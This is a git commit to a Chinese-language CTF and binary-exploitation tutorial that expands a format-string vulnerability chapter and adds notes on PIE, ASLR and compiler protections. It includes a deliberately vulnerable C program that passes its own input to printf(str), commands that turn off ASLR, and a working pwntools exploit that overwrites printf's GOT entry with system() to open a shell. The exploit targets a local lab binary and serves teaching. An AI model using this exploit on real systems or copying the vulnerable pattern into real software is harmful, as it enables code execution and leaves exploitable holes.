update format string

This commit is contained in:
firmianay 2017-08-23 20:36:52 +08:00
parent 2c0cb373ec
commit 0b9bc02dd8
6 changed files with 178 additions and 6 deletions

View File

@ -19,7 +19,11 @@ skanlite cantata kdenlive konversation libreoffice-still thunderbird-kde k3b cup
yaourt -S:
virtualbox tree git ipython ipython2 gdb google-chrome tcpdump vim wireshark-qt edb ssdeep wps-office strace metasploit pwntools peda oh-my-zsh-git
virtualbox tree git ipython ipython2 gdb google-chrome tcpdump vim wireshark-qt edb ssdeep wps-office strace metasploit pwntools peda oh-my-zsh-git radare2 binwalk burpsuite checksec
pip3/pip2 install:
r2pipe
```

View File

@ -4,7 +4,7 @@
- [gdb 基本工作原理](#gdb-基本工作原理)
- [gdb 基本操作](#gdb-基本操作)
- [gdb-peda](#gdb-peda)
- [GEF/pwngdb](#gefpwngdb)
- [GEF/pwndbg](#gefpwndbg)
## gdb 的组成架构
@ -80,7 +80,7 @@ $ echo "DONE! debug your program with gdb and enjoy"
- `xormem` - 用一个 key 来对一个内存区域执行 XOR 操作
## GEF/pwngdb
## GEF/pwndbg
除了 peda 外还有一些优秀的 gdb 增强工具,功能大致相同,可以看情况选用。
- [GEF](https://github.com/hugsy/gef) - Multi-Architecture GDB Enhanced Features for Exploiters & Reverse-Engineers
- [pwndbg](https://github.com/pwndbg/pwndbg) - Exploit Development and Reverse Engineering with GDB Made Easy

View File

@ -7,9 +7,11 @@
## 格式化输出函数和格式字符串
在 C 语言基础章节中,我们详细介绍了格式化输出函数和格式化字符串的内容。在开始探索格式化字符串漏洞之前,强烈建议回顾该章节。这里我们简单回顾几个常用的。
#### 函数
```c
#include <stdio.h>
@ -21,6 +23,7 @@ int snprintf(char *str, size_t size, const char *format, ...);
```
#### 转换指示符
字符 | 类型 | 使用
--- | --- | ---
d | 4-byte | Integer
@ -30,6 +33,7 @@ s | 4-byte ptr | String
c | 1-byte | Character
#### 长度
字符 | 类型 | 使用
--- | --- | ---
hh | 1-byte | char
@ -38,6 +42,7 @@ l | 4-byte | long int
ll | 8-byte | long long int
#### 示例
```
#include<stdio.h>
#include<stdlib.h>
@ -57,6 +62,7 @@ printf("%s%n", "01234", &n); // n = 5
## 格式化字符串漏洞基本原理
在 x86 结构下,格式字符串的参数是通过栈传递的,看一个例子:
```c
#include<stdio.h>
@ -265,9 +271,11 @@ Hello 32 f7f95580 565555f4 !
## 格式化字符串漏洞
通过提供和格式字符串,我们就能够控制格式化函数的行为。漏洞的利用主要有下面几种。
#### 使程序崩溃
格式话字符串漏洞通常要在程序崩溃时才会被发现,所以利用格式化字符串漏洞最简单的方式就是使进程崩溃。在 Linux 中,存取无效的指针会引起进程收到 `SIGSEGV` 信号,从而使程序非正常终止并产生核心转储(在 Linux 基础的章节中详细介绍了核心转储)。我们知道核心转储中存储了程序崩溃时的许多重要信息,这些信息正是攻击者所需要的。
利用类似下面的格式字符串即可触发漏洞:
@ -279,6 +287,7 @@ printf("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s")
- 还有可能获得的数字确实是一个地址,但是该地址是被保护的。
#### 查看栈内容
使程序崩溃只是验证漏洞的第一步,攻击者还可以利用格式化输出函数来获得内存的内容,为下一步漏洞利用做准备。
@ -290,3 +299,104 @@ printf("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s")
## CTF 中的格式化字符串漏洞
#### pwntools pwnlib.fmtster
文档地址http://pwntools.readthedocs.io/en/stable/fmtstr.html
该模块提供了一些字符串漏洞利用的工具。该模块中定义了一个类 `FmtStr` 和一个函数 `fmtstr_payload`
`FmtStr` 提供了自动化的字符串漏洞利用:
```python
class pwnlib.fmtstr.FmtStr(execute_fmt, offset=None, padlen=0, numbwritten=0)
```
- execute_fmt (function):与漏洞进程进行交互的函数
- offset (int):你控制的第一个格式化程序的偏移量
- padlen (int):在 paylod 之前添加的 pad 的大小
- numbwritten (int):已经写入的字节数
`fmtstr_payload` 用于自动生成格式化字符串 paylod
```python
pwnlib.fmtstr.fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
```
- offset (int):你控制的第一个格式化程序的偏移量
- writes (dict):格式为 {addr: value, addr2: value2},用于往 addr 里写入 value 的值(常用:{printf_got}
- numbwritten (int):已经由 printf 函数写入的字节数
- write_size (str):必须是 byteshort 或 int。告诉你是要逐 byte 写,逐 short 写还是逐 int 写hhnhn或n
我们通过一个例子来熟悉下该模块的使用:[fmt.c](../src/Others/3.3.1_fmt.c) [fmt](../src/Other/3.3.1_fmt)
```c
#include<stdio.h>
void main() {
char str[1024];
while(1) {
memset(str, '\0', 1024);
read(0, str, 1024);
printf(str);
fflush(stdout);
}
}
```
为了简单一点,我们关闭 ASLR并使用下面的命令编译
```
# echo 0 > /proc/sys/kernel/randomize_va_space
$ gcc -m32 -fno-stack-protector -no-pie fmt.c
```
很明显,程序存在格式化字符串漏洞,我们的思路是将 `printf()` 函数的地址改成 `system()` 函数的地址,这样当我们再次输入 `/bin/sh` 时,就可以获得 shell 了。
使用 gdb 调试,先在 `main` 处下断点,运行程序,这时 libc 已经被加载进来了,则可以打印出 `system()` 函数的地址:
```text
gdb-peda$ b main
...
gdb-peda$ r
...
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e17060 <system>
```
完整漏洞利用代码如下:
```python
from pwn import *
elf = ELF('./a.out')
r = process('./a.out')
def exec_fmt(payload):
r.sendline(payload)
info = r.recv()
return info
auto = FmtStr(exec_fmt)
offset = auto.offset
print_got = elf.got['printf']
log.success("print_got => {}".format(hex(print_got)))
system_addr = 0xf7e17060
log.success("system_addr => {}".format(hex(system_addr)))
payload = fmtstr_payload(offset, {print_got : system_addr})
r.send(payload)
r.send('/bin/sh')
r.recv()
r.interactive()
```
这样就获得了 shell
```text
$ python2 exp.py
[*] '/home/firmy/Desktop/RE4B/a.out'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Starting local process './a.out': pid 15698
[*] Found format string offset: 4
[+] print_got => 0x804a010
[+] system_addr => 0xf7e17060
[*] Switching to interactive mode
$ echo "hacked!"
hacked!
```

View File

@ -145,7 +145,7 @@ Partial RELRO Canary found NX enabled PIE enabled No RPATH No RU
No-eXecute表示不可执行其原理是将数据所在的内存页标识为不可执行如果程序产生溢出转入执行 shellcode 时CPU 会抛出异常。其绕过方法是 ret2libc。
#### PIE
PIEPosition Independent Executable需要配合 ASLR 来使用以达到可执行文件的加载时地址随机化。简单来说PIE 是编译时随机化由编译器完成ASLR 是加载时随机化,由操作系统完成。
PIEPosition Independent Executable需要配合 ASLR 来使用以达到可执行文件的加载时地址随机化。简单来说PIE 是编译时随机化由编译器完成ASLR 是加载时随机化,由操作系统完成。开启 PIE 时编译生成的是动态库文件Shared object文件而关闭 PIE 后生成可执行文件Executable
我们通过实际例子来探索一下 PIE 和 ASLR
```c
@ -154,6 +154,54 @@ void main() {
printf("%p\n", main);
}
```
```text
$ gcc -m32 -pie random.c -o open-pie
$ readelf -h open-pie
ELF Header:
Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
Class: ELF32
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: DYN (Shared object file)
Machine: Intel 80386
Version: 0x1
Entry point address: 0x400
Start of program headers: 52 (bytes into file)
Start of section headers: 6132 (bytes into file)
Flags: 0x0
Size of this header: 52 (bytes)
Size of program headers: 32 (bytes)
Number of program headers: 9
Size of section headers: 40 (bytes)
Number of section headers: 30
Section header string table index: 29
$ gcc -m32 -no-pie random.c -o close-pie
$ readelf -h close-pie
ELF Header:
Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
Class: ELF32
Data: 2's complement, little endian
Version: 1 (current)
OS/ABI: UNIX - System V
ABI Version: 0
Type: EXEC (Executable file)
Machine: Intel 80386
Version: 0x1
Entry point address: 0x8048310
Start of program headers: 52 (bytes into file)
Start of section headers: 5964 (bytes into file)
Flags: 0x0
Size of this header: 52 (bytes)
Size of program headers: 32 (bytes)
Number of program headers: 9
Size of section headers: 40 (bytes)
Number of section headers: 30
Section header string table index: 29
```
可以看到两者的不同在 `Type``Entry point address`
首先我们关闭 ASLR使用 `-pie` 进行编译:
```text
# echo 0 > /proc/sys/kernel/randomize_va_space
@ -261,11 +309,11 @@ RELRO | -z now | -z lazy | -z norelro
关闭所有保护:
```text
gcc hello.c -o hello-L -fstack-protector -z execstack -no-pie -z norelro
gcc hello.c -o hello -fno-stack-protector -z execstack -no-pie -z norelro
```
开启所有保护:
```text
gcc hello.c -o hello-S -fstack-protector-all -z noexecstack -pie -z now
gcc hello.c -o hello -fstack-protector-all -z noexecstack -pie -z now
```
- FORTIFY

BIN
src/Others/3.3.1_fmt Executable file

Binary file not shown.

10
src/Others/3.3.1_fmt.c Normal file
View File

@ -0,0 +1,10 @@
#include<stdio.h>
void main() {
char str[1024];
while(1) {
memset(str, '\0', 1024);
read(0, str, 1024);
printf(str);
fflush(stdout);
}
}